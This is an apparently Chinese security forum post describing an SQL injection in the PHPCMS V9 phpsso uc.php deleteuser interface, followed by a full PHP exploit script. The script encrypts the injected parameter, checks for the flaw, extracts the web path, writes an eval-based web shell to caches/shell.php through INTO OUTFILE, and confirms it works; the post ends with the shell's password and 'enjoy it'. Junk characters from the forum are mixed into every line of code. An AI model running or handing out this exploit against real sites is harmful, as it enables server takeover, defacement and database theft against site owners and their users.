找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1896|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
" O' N0 W5 P1 Z: O1 I
# c! O* A/ a, Y8 A所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。* B7 ]' f5 O. t

0 H: o: b+ `$ \6 i+ W3 W漏洞分析:6 c3 u7 h7 @0 J  H1 z, n) \
1.未启用ucenter服务的情况下uc_key为空, j, q* f0 F% \. r: i, m
define('UC_KEY', pc_base::load_config('system', 'uc_key'));4 v/ y- V; Q# H3 X, M, U
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
6 q+ q0 d6 _( |7 n    public function deleteuser($get,$post) {
' R6 R2 O$ y0 _0 \        pc_base::load_app_func('global', 'admin');
. l: X% F, [" P' e. t4 e        pc_base::load_app_class('messagequeue', 'admin' , 0);
% y) A- |/ t0 t) v! P1 e1 {* b/ Y) t        $ids = new_stripslashes($get['ids']);0 R+ w$ G, H2 {: l; y
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");% ]* f' ^7 k  d6 _
SQL语句为
+ s; h' _1 x: o! E/ `0 `+ g3 g; Y' y  jSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)7 H; s& N5 n4 o% e& }9 Y
/ {% ?& y1 W6 [. q0 B! h1 o
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
" e& `( U- g1 E3 y  Z, A<?php
8 q5 X# O- r/ xprint_r('
- i# a# `5 O' D---------------------------------------------------------------------------
1 f) \, J- S( _$ c! m, fPHPcms (v9 or Old Version) uc api sql injection 0day
+ d* j* T6 j, ~3 bby rayh4c#80sec.com  X4 _+ u+ Q8 ^; [" ^+ w% f
---------------------------------------------------------------------------
% R6 q+ f% m/ C& @! D* w');
% u# U9 h: u- h( U1 \  Z, p) e) ^. A. T; e
if ($argc<3) {5 h1 {8 U: }- ^0 l
    print_r('$ F7 X! ]8 Q9 `$ v2 C- d
---------------------------------------------------------------------------
4 B* ?% \7 @8 P! A5 q1 l0 ?Usage: php '.$argv[0].' host path OPTIONS
/ q3 b3 X1 i% x/ ~& fhost:      target server (ip/hostname)* o- O# g: r4 s" ]
path:      path to phpcms9 v  t, y5 W5 w4 V
Options:
" D4 ^3 c' y+ T, M0 l2 Z4 j -p[port]:    specify a port other than 80
# S1 {5 u. m1 @5 u -P[ip:port]: specify a proxy
% v/ z  `( g7 b: e4 YExample:
! W- K6 Y% G7 L( r0 Fphp '.$argv[0].' localhost /3 U1 |) |# b2 f. z
php '.$argv[0].' localhost /phpcms/ -p81, d0 I6 e; i3 L0 g4 U$ ?0 v
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
7 Y' W: @$ G. c( Y1 S/ O1 F---------------------------------------------------------------------------0 d# i9 w: n+ c8 Z
');
4 ]- V3 y/ j6 m* X. f% K    die;! n" \4 e, O9 ]$ Q0 O2 l5 w' A
}2 f5 Y& h. ?: X" x
7 x8 C% m0 l  Q3 z- ^3 x% X
error_reporting(7);
% M! t1 B5 X* C$ Lini_set("max_execution_time",0);
; Y. X. K" b. Q$ c* i9 \2 {& fini_set("default_socket_timeout",5);" O- \* J. y. m+ v0 g1 b
+ _( t# p' Z4 U% h
function quick_dump($string), N7 Q  S8 O" R8 f3 A2 a
{
& C+ z. b3 T8 P  ?6 K" m- w  $result='';$exa='';$cont=0;
, g% a5 X- i* E$ Z  for ($i=0; $i<=strlen($string)-1; $i++)
4 m  \! F. o  E1 ?' \' u  {
1 v# b- m4 A( ~; j. G; D  q) _, s   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+ L% D/ q$ L0 n4 P+ f8 y9 Y. G. ^   {$result.="  .";}
* U. P2 S% K: R3 F& G( k   else1 I9 l9 `# j  f
   {$result.="  ".$string[$i];}
% u: o8 ?/ U" K) `) E+ O   if (strlen(dechex(ord($string[$i])))==2)  A9 g1 l) |/ h5 p# g% V
   {$exa.=" ".dechex(ord($string[$i]));}; G0 ]8 H; j$ \& i8 b! C, Z
   else6 u4 X1 V, x) O/ o4 P9 @0 `
   {$exa.=" 0".dechex(ord($string[$i]));}
8 W. X, k4 y$ _  A) J. H   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
9 M) a/ R; b" L' a4 G  }0 u. l0 X5 |/ m6 C, Z( y- d
return $exa."\r\n".$result;
2 L! n6 T1 u' q& e}
' q% h# z7 b1 V2 Y: C, A$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
) r! U4 _2 j% t- |
* p* r# J. ~, g4 nfunction send($packet)- n5 _  k1 m$ n/ ^7 I
{
) [2 J# V. G* {" S. Y: T0 B  global $proxy, $host, $port, $html, $proxy_regex;2 D) x- _% t1 R: Z
  if ($proxy=='') {
# t; |3 T& y% n. C+ q, f    $ock=fsockopen(gethostbyname($host),$port);2 J! ^, v7 ^$ K9 X3 x
    if (!$ock) {1 |# Y5 P; `# |
      echo 'No response from '.$host.':'.$port; die;
6 ]% h4 t+ z9 c; A0 l/ r; s    }9 v, w2 n3 X2 X& {1 |
  }. i6 C$ y, U7 W5 R8 ~
  else {% M9 j  T- P* `2 f  _/ ?9 [+ |
        $c = preg_match($proxy_regex,$proxy);! q9 M  |4 r& Q6 E+ D# Z/ t5 Y8 [
    if (!$c) {" Z, ~2 Z4 k) k$ i
      echo 'Not a valid proxy...';die;3 W, u8 k. O, B& Q
    }
' c/ v, u4 s$ V0 u/ k& W4 S0 C    $parts=explode(':',$proxy);$ x# F2 Z6 n) B! _+ W' e# z
    $parts[1]=(int)$parts[1];
- s6 Q; k& Y3 i0 F5 n    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
# L5 f5 N. t$ f) W. y  m    $ock=fsockopen($parts[0],$parts[1]);
4 ^8 t/ e! a* b6 @    if (!$ock) {
# v; G- q% \2 p4 [, X      echo 'No response from proxy...';die;, o* ^5 |$ `( o& l0 q- l/ b- d
        }) Z" T' t' ]) g" D1 \3 x
  }: ~8 g1 h  E. L8 U. [$ D/ L8 o
  fputs($ock,$packet);
! u6 f" G9 l! S% b2 @5 u# d9 Y2 A  if ($proxy=='') {
/ M+ e) s& h5 B$ o$ n" u& k    $html='';
# U% ?7 A9 \" p; @    while (!feof($ock)) {/ ?: C9 l- h7 z% D/ a
      $html.=fgets($ock);
$ `6 e, X& C5 u# Z9 ^    }& `  B' H$ v2 j$ t  S
  }
5 X- y1 x* _# A' p9 X" |  else {4 m! K5 r- \" G" ~7 }5 Z+ y2 ^/ d
    $html='';
& _) a7 l  ?, b/ Y3 B$ |    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
, I  A1 Y$ ~; a+ N      $html.=fread($ock,1);: z) X# W0 p/ ]! M5 W
    }. Y% }1 }' \/ P5 {
  }
( c* {: h% l1 Y$ [( [2 W5 Z  fclose($ock);
6 b1 p2 G5 l9 B0 }8 H}
& g& H0 V3 a8 t  K% E: Y; V( Q$ K' t' _7 |8 ]# X' E. }( i8 O
$host=$argv[1];
& m3 N1 O2 x- r1 u' V* W) B8 ~$path=$argv[2];
7 f- `$ f( z0 i+ g' b3 G$port=80;) ?0 r, R8 n, G  j9 N) B+ T2 Y
$proxy="";
. R- }  a: b; Q/ g3 O: j4 N: v* Ofor ($i=3; $i<$argc; $i++){, V* g* |) L$ l- g- J3 ~. h
$temp=$argv[$i][0].$argv[$i][1];7 p" Y* d6 T1 _2 A/ R1 g
if ($temp=="-p")
0 D0 v  D2 i3 @" R9 h$ k5 ^- b{
7 A: V1 Q/ r0 v: |" N  $port=(int)str_replace("-p","",$argv[$i]);
2 ~9 s" B% t6 q! _1 `}$ q( F# l* v, Q$ n* `
if ($temp=="-P")- A( e/ T1 e5 }! Q8 q8 c: [' Y
{
+ E- M6 U3 l2 a  k) c  $proxy=str_replace("-P","",$argv[$i]);% n( i7 @+ l, f; z0 r$ E
}
3 U; h! s$ J' p' Q% e, H' @2 D}9 g0 k( V' S" l' m0 q. w: k, b$ w
: L4 L8 p0 E% l- C  x. {
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}0 z9 H4 l9 E) O7 o5 t
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}, N  E/ o" Y! u6 Q6 }! a' D2 `; x
5 T* |1 _: r3 F/ C- a5 }3 `
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
6 }1 j$ l" i0 F% N( o0 r: a* w: o8 r$ \3 J3 X7 l& C3 z5 U$ P5 u! G% C
    $ckey_length = 4;
. v/ E2 \3 l; k9 P: }) \$ h, Q$ r$ T3 I! R3 J# ^2 A
    $key = md5($key ? $key : '');
! K5 y: f3 ~7 x$ _5 y7 Q: Z    $keya = md5(substr($key, 0, 16));+ Q  _9 @8 m4 k4 `+ u7 k' F
    $keyb = md5(substr($key, 16, 16));6 A) U$ z- Z9 j( b
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';# G4 N- w; Q2 |" ^5 K! V* J% i: {
& ]5 g( Z7 w  e& G' |6 }
    $cryptkey = $keya.md5($keya.$keyc);: N( R% y3 J8 f; g/ T
    $key_length = strlen($cryptkey);
# Z& t6 N0 K2 s, E# w5 P  g: {, K
9 t0 |$ p: x- M    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
/ v$ ?3 |* D+ ~3 t# i3 {) B8 H, O    $string_length = strlen($string);* O% P8 {! @% Y
+ [" O) H7 U8 I# a! b+ W6 b
    $result = '';2 w( u+ i0 @$ w$ p
    $box = range(0, 255);" m. \: L& b8 U, Z0 c

) v2 _2 r, b- i% K/ [4 z    $rndkey = array();
* }5 ~! A% Y4 s+ Z# {5 L    for($i = 0; $i <= 255; $i++) {
7 \* O' M! n0 |" l! M        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
, b$ a2 F. J4 {; F    }# s* J& w, @# ^, |# a; I: a" G% ]

4 m+ ?. w1 ?3 e9 `' {/ @% ~" `    for($j = $i = 0; $i < 256; $i++) {9 K# v$ e5 H: k5 m' i7 e6 g2 b
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
6 U+ T/ {. t" S$ N/ d        $tmp = $box[$i];
  k/ K8 f$ [# T" ^5 t        $box[$i] = $box[$j];
2 n* K# v( m; W, A2 K; q        $box[$j] = $tmp;6 R* X0 M: H0 w, f
    }: ]* j# x( R  f! a# V. k( u/ n
0 b* p4 M2 ~9 d# S6 O% d! A8 T
    for($a = $j = $i = 0; $i < $string_length; $i++) {6 M# D" `( p' `9 ]4 ?" z! a
        $a = ($a + 1) % 256;+ }3 d. t/ f* J. n% w4 [( l
        $j = ($j + $box[$a]) % 256;6 e& I& J/ v. r# G8 g5 G) o
        $tmp = $box[$a];
4 y( H% C' }5 h  ^' H8 u! e        $box[$a] = $box[$j];% ~. ?6 d: ^& j8 p
        $box[$j] = $tmp;
5 S/ f4 _# }$ p  s) W1 k        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
/ M! \: _- e+ U# E" T    }
/ D+ ]( |0 U. j6 s2 L4 R" D& c/ w, D* U- a% v5 S, g0 F* h
    if($operation == 'DECODE') {
6 h. W! h- b& ]. B& s( v        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
8 t# f3 S# s9 {4 F: a8 O            return substr($result, 26);
6 ~# J1 W1 m: X0 k        } else {
) P6 b# m) F7 _. W- y" }# [            return '';2 M) f0 a1 S4 s- f' R
        }5 u" a# [5 _- X  x3 _) y
    } else {0 H& g* ]; v7 X3 K
        return $keyc.str_replace('=', '', base64_encode($result));
/ w) p6 F# f" a" v5 ]$ j# e    }
9 ]9 M. R5 ^  g& X. [8 z6 _* }0 L# c% i- I: y) Z
}
; x3 c7 _8 b! x, L- e8 A5 n' v
3 G2 T' W6 ?  z4 h; b$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
$ c: V8 X, V) y+ `$SQL = urlencode(authcode($SQL, "ENCODE", ""));( O, I2 h' P9 a
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";. u' m% ?' T# O( e- a
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";: t: P4 h% j1 C- g, h
$packet.="User-Agent: Mozilla/5.0\r\n";
4 H: Q6 O+ t+ {$packet.="Host: ".$host."\r\n";% P5 _" F0 r. V5 v7 I
$packet.="Connection: Close\r\n\r\n";
0 F" n6 b% B9 O+ s, |, J" ]/ {  Hsend($packet);) W3 M0 p  {  k; x4 w+ e
if(strpos($html,"MySQL Errno") > 0){% k% r$ h1 w& m6 y" ?7 H
echo "[2] 发现存在SQL注入漏洞"."\n";
8 ]2 `5 @. g! Hecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
6 z' Y& B; R! I" C$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";! {* z# H  U+ V
$packet.="User-Agent: Mozilla/5.0\r\n";5 \' K& g6 G, }% S( A& c" }7 b
$packet.="Host: ".$host."\r\n";6 |' N% T0 q+ z( T/ D, ~
$packet.="Connection: Close\r\n\r\n";
; P1 G( `6 G; Z* z! Jsend($packet);* k( ]* Z4 o/ z" Z& a; _
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);6 s) u+ r; Y) T6 A3 e$ J
//print_r($matches);  {, e$ t2 _% C: [5 k1 h
if(!empty($matches)){
1 M* m, j4 B8 {7 a5 zecho "[4] 得到web路径 " . $matches[0]."\n";! c* a: i% J+ V0 D1 j
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
9 W4 E1 E! ^1 o# a. ?1 S  Z$SQL = "time=999999999999999999999999&ids=1)";  s- K+ [. n2 q5 x) }! w
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";6 }0 U8 B% }7 g3 ^0 F
$SQL.="&action=deleteuser";( r7 l/ W" b5 ]! J: ?" M
$SQL = urlencode(authcode($SQL, "ENCODE", ""));/ K  n' M3 u5 y$ Z3 Y9 J( A3 R+ G: N
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
7 e/ q& f6 v; }( O4 N) }4 F' f$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
& G$ s; G/ N1 w4 g8 y$packet.="User-Agent: Mozilla/5.0\r\n";
8 R( J4 N4 u) B* Q. c$packet.="Host: ".$host."\r\n";
; X0 P  X5 o4 l0 b! I' h" \7 X$packet.="Connection: Close\r\n\r\n";7 n  q1 E! \5 U% r# ~% l
send($packet);/ B1 U1 a% E. n0 v$ s# }
if(strpos($html,"Access denied") > 0){0 g: m1 B2 {. i
echo "[-] MYSQL权限过低 禁止写入文件 ";
# F4 T' c) X6 Z0 t, U4 x5 Ydie;- ^: v% ?2 ^& f& [7 I) J
}
, q  B3 P$ s) {5 n' G4 Recho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
4 ?% ^8 e" Q0 B" ]$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
, y! p( K0 R, }. c; m$packet.="User-Agent: Mozilla/5.0\r\n";
) P4 P* F: P9 |" D$packet.="Host: ".$host."\r\n";
2 n7 P  [1 }5 N  ?4 z$ C8 R; `* B$packet.="Connection: Close\r\n\r\n";
+ S! `" K2 p' a/ m# N' Vsend($packet);
# s+ _$ E8 y% w) Q9 c$ sif(strpos($html,"<title>phpinfo()</title>") > 0){
. z( K5 g. Q* O$ K$ {) }: _% eecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
" [0 R7 g  f* {; d- E" S}
* ?6 r# j- q  r* A}else{! c/ K+ N& Y# c' m
echo "[-]未取到web路径 ";
4 i/ k0 c9 R2 N8 p! c  @! ~) j7 M" j}. x( `" T! v- Y2 g, ^
}else{3 _# d  y" h8 g7 g
echo "[*]不存在SQL注入漏洞"."\n";
1 A% _) M2 I/ S$ q# H: V3 R}
4 t: L. M% `6 h7 g: i" @  b0 b* p! y
?>
& |1 z* F6 H3 p, v2 `1 `- W) v; S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表